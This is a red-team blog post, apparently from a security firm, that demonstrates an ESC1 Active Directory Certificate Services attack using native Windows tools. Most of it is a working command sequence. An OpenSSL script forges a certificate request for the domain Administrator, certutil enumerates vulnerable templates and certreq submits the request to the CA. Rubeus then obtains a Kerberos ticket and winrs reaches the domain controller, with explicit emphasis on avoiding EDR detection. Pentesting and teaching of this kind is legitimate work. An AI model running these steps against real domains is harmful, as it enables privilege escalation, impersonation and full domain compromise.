Introduction
In the previous BLOGS of this short ADCS series, we provided an overview of Active Directory Certificate Services and demonstrated how to approach them in a Linux environment.
In this bonus blog post, we’ll explore how attackers can abuse Living Off the Land Binaries and Scripts (LOLBAS), in this case, the certutil and certreq tool, to carry out ESC1 attacks. This type of attack is particularly relevant in internal testing scenarios, especially in white-box approaches and/or red-team assessments. Let’s dive into the details and walk through why and how this attack is executed, particularly in environments where attackers have limited privileges, such as regular user accounts.
Why should we use LOLBAS?
In internal white-box testing and red team assessments, it’s essential to simulate realistic attack scenarios that assume an adversary has already breached an internal network (Assumed Breach Model). One critical aspect is assessing how an attacker can escalate privileges or persist in the network using native Windows tools. The certutil and certreq tools are native utilities that an attacker can use to enumerate, request, and retrieve certificates, potentially allowing them to impersonate other users or services without raising red flags.
This approach is precious in environments where third-party tools can’t be installed because of limited privileges (e.g., a regular user account) or stringent security controls. By utilizing native tools like certutil and certreq, we avoid detection by endpoint detection and response (EDR) systems that may flag or block the use of external or custom scripts.
Target: Windows Environments and Exploitation
In Windows-based environments, we often aim to exploit inherent weaknesses or misconfigurations that allow us to gain higher access levels. The certutil and certreq tools, legitimate Windows tools used to enumerate and request certificates from a certificate authority (CA), can be weaponized. A certificate obtained using this tool exploiting misconfigurations can be used to authenticate as a higher-privileged user or gain access to sensitive resources.
This blog assumes you’re familiar with Active Directory Certificate Services (ADCS) attacks and the ESC1 vulnerability. If not, I recommend reviewing our ADCS blog series before diving in.
Video Walkthrough
Want to practice this yourself?
Prerequisites
- Widows Box – foothold: Access to a Windows machine on the corporate enviroment network
- Domain User Credentials: Username and password (or other authentication tokens) of a legitimate user account member of the Active Directory domain, granting access to domain resources.
Overview
In this guide, we will:
- Generate a certificate request on a Linux-attacking machine using OpenSSL.
- Transfer the request to a Windows machine and use certreq to submit it.
- Retrieve and use the certificate to gain access to a target system.
Generating the Certificate Request on a Kali Machine
First, we’ll generate the certificate request (admin.req) and private key (admin.key) on our attacking Linux machine using OpenSSL. This prevents us from interacting with the certificate generation process on the restricted Windows system.
Create the OpenSSL Configuration Script
We will create a shell script that automates the process:
nano script.sh
#Insert below script in the script.sh
cnffile="admin.cnf"
reqfile="admin.req"
keyfile="admin.key"
dn="/DC=local/DC=shield/CN=Users/CN=Administrator"
cat > $cnffile <<EOF
[ req ]
default_bits = 2048
prompt = no
req_extensions = user
distinguished_name = dn
[ dn ]
CN = Administrator
[ user ]
subjectAltName = otherName:msUPN;UTF8:administrator@shield.local
EOF
openssl req -config $cnffile -subj $dn -new -nodes -sha256 -out $reqfile -keyout $keyfileThis script defines the Distinguished Name (DN) for the certificate request and includes the necessary subjectAltName (SAN) for the User Principal Name (UPN).
Run the Script
# 1. Make the script executable:
chmod+x script.sh
# 2. Run the script:
./script.sh
# 3. Verify the files:
ls
# 4. You should see the following output:
admin.cnf admin.key admin.req test.sh
Transfer Certificate Request to the Windows Machine
Now that we have the certificate request (admin.req), transfer it to the target Windows machine using any file transfer method available. Once the file is transferred, we’ll use certreq on the Windows machine to submit the request to the Certification Authority (CA).
Enumerating the CA with Certutil
Gathering information about the Certificate Authority (CA) and its certificate templates is crucial before submitting a request. We can use Certutil, a native Windows utility, to list available certificate templates and identify any vulnerabilities resulting from misconfigurations or overly permissive access controls. This reconnaissance step helps us target the appropriate certificate template for escalation, increasing the chances of a successful attack. Once they identify a vulnerable template, we can submit their certificate request to the CA.
# Dump general information about the certificate store
certutil -dump
# Dump information about the local Certificate Authority (CA)
certutil -ca
# List all local certificate templates
certutil -catemplates
# List all certificate templates in verbose mode
certutil -v -template
# Dump detailed information about all certificate templates
certutil -v -dstemplate
# List all certificate templates that support client authentication (clientAuth)
certutil -v -template -clientauth
# Show detailed information about a specific template (ESC1)
certutil -template ESC1
# Dump detailed information about the ESC1 template
certutil -v -dstemplate ESC1
Submit the Certificate Request Using certreq
On the Windows machine, use the following command to request the certificate by submitting the certificate request. This command submits the request (admin.req) to the CA and outputs the signed certificate as admin.cer.
certreq -submit -config DC4.shield.local\shield-DC4-CA -attrib "CertificateTemplate:ESC1" admin.req admin.cer
Retrieving and Combining the Certificate and Key
After obtaining the certificate (admin.cer), we must combine it with the private key to create a .pfx file. This will allow you to authenticate as the user whose identity you impersonated.
Combine the Private Key and Certificate
Run the following command on your attacking machine to combine the certificate and private key. This creates a PEM-formatted certificate and key pair.
cat admin.key admin.cer > cert.pem
Convert to a .pfx File
Next, convert the PEM file to a .pfx file using OpenSSL. We’ll be prompted to enter an export password, which will be required later to use the .pfx file for authentication.
openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0"-export -out cert.pfx
Using the Certificate to Authenticate
With the .pfx file in hand, you can now use tools like Certipy to authenticate as the user whose certificate you requested, or even we can use Rubeus to get a TGT using asktgt.
Before using the certificate, it must be converted into base64 format. While the .pfx file can be used directly, transferring the base64-encoded data is more convenient than transferring the .pfx file itself. Therefore, we will convert it into a base64 format compatible with Rubeus.
cat cert.pfx | base64 -w 0
Use Rubeus to Obtain a TGT using the certificate
.\Rubeus.exe asktgt /user:Administrator /certificate:<base64-encode-Certificate> /nowrap /ptt 
Using winrs to Login to Domain Controller using the TGT
winrs -r:DC4.shield.local cmd
Conclusion
This blog showed how to perform an ESC1 attack using Living Off The Land (LOLBAS) binaries, such as certutil and certreq, in restricted environments. By generating a certificate request on a Linux machine and transferring it to the target, you can obtain certificates to escalate privileges. This approach proves effective in highly constrained setups and highlights the use of built-in tools for offensive security.
Looking for a team to critically test your environment using real-world attack techniques? Explore RBT Security’s red team and penetration testing services.
Detections & Mitigations
- Steal or Forge Authentication Certificates – T1649
- Steal or Forge Kerberos Tickets – T1558
- Pass the Ticket – T1550.003
Credits & References
Highly skilled Pentester with experience in various areas, including multi-clouds (AWS, Azure, and GCP), network, web applications, APIs, and mobile penetration testing. In addition, he is passionate about conducting Red and Purple Team assessments and developing innovative solutions to protect company systems and data.